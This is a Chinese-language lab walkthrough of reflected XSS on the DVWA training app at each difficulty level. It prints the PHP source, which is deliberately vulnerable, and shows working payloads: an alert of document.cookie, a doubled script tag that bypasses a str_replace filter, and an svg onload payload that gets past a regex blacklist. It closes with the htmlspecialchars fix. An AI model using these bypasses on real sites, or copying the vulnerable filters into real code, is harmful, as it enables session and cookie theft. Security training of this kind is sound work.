反射型XSS


跨站脚本攻击

反射型XXS是一种非持久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。这里插入的恶意代码并没有保存在目标网站,需要引诱用户点击一个链接到目标网站的恶意链接来实施攻击。


DVWA靶机-全级别测试-XSS(Reflected)_php


低难度


设置如下:


DVWA靶机-全级别测试-XSS(Reflected)_html_02


源代码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>


看代码,将用户输入的信息,进行输出。

并没有做任何限制


DVWA靶机-全级别测试-XSS(Reflected)_php_03


我们输入javascript脚本看下,


<script>alert("XSS")</script>


DVWA靶机-全级别测试-XSS(Reflected)_Web_04


发现出现弹框

确认存在XSS漏洞


输入js代码,获取cookie


<script>alert(document.cookie)</script>


DVWA靶机-全级别测试-XSS(Reflected)_php_05


弹窗


DVWA靶机-全级别测试-XSS(Reflected)_html_06



中难度


设置如下


DVWA靶机-全级别测试-XSS(Reflected)_html_07


源代码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>


这里代码对于用户的输入进行了黑名单替换,对“<script>”进行限制

但是黑名单有缺点,就是容易双写或者是编码绕过


<sc<script>ript>alert("xss")</sc<script>ript>


DVWA靶机-全级别测试-XSS(Reflected)_Web_08


结果


DVWA靶机-全级别测试-XSS(Reflected)_Web_09



高难度


设置如下


DVWA靶机-全级别测试-XSS(Reflected)_Web_10


源代码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>


可以看到,使用正则表达式,对用户输入的内容做了匹配,并且替换掉

依然使用黑名单策略


DVWA靶机-全级别测试-XSS(Reflected)_php_11


输入


<svg onload=alert(/xss/)>


结果


DVWA靶机-全级别测试-XSS(Reflected)_html_12


不可能难度


设置如下


DVWA靶机-全级别测试-XSS(Reflected)_html_13


源代码:


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>


可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。


防御措施


1、对用户输入的字符进行检查


2、使用预定义的函数,对输入字符进行处理。